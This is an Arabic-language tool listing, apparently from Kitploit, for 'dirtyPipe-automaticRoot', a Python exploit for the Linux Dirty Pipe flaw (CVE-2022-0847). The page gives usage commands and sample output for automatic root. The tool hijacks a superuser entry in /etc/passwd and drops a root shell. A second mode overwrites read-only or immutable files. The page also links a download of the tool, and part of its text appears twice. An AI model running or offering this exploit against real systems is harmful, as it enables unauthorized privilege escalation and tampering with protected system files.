dirtyPipe-automaticRoot — استغلال Python لـ CVE-2022-0847 للحصول على صلاحيات الجذر أو الكتابة إلى ملف بدون صلاحية كتابة، أو ملف غير قابل للتغيير، أو ملف مثبّت للقراءة فقط. | Kitploit

استغلال روت تلقائي لثغرة Dirty Pipe (CVE-2022-0847)

eae

التبعيات:

Python 3.10 أو أحدث

طريقة الاستخدام:

الروت التلقائي:

$ python3.10 dirtyPipe.py -a
[+] hjacking super user in /etc/passwd
[+] dropipng shell
#

اكتب إلى ملف لا يملك صلاحية الكتابة، أو ملف غير قابل للتعديل (immutable)، أو ملف محمّل للقراءة فقط:

$ python3.10 dirtyPipe.py -w FILE OFFSET DATA

إهداء من @terabitSec 🦜.

تنزيل الأداة

dirtyPipe-automaticRoot

الأكثر شعبية

استغلال روت تلقائي لثغرة Dirty Pipe (CVE-2022-0847)

التبعيات:

طريقة الاستخدام:

الروت التلقائي:

اكتب إلى ملف لا يملك صلاحية الكتابة، أو ملف غير قابل للتعديل (immutable)، أو ملف محمّل للقراءة فقط:

إهداء من @terabitSec 🦜.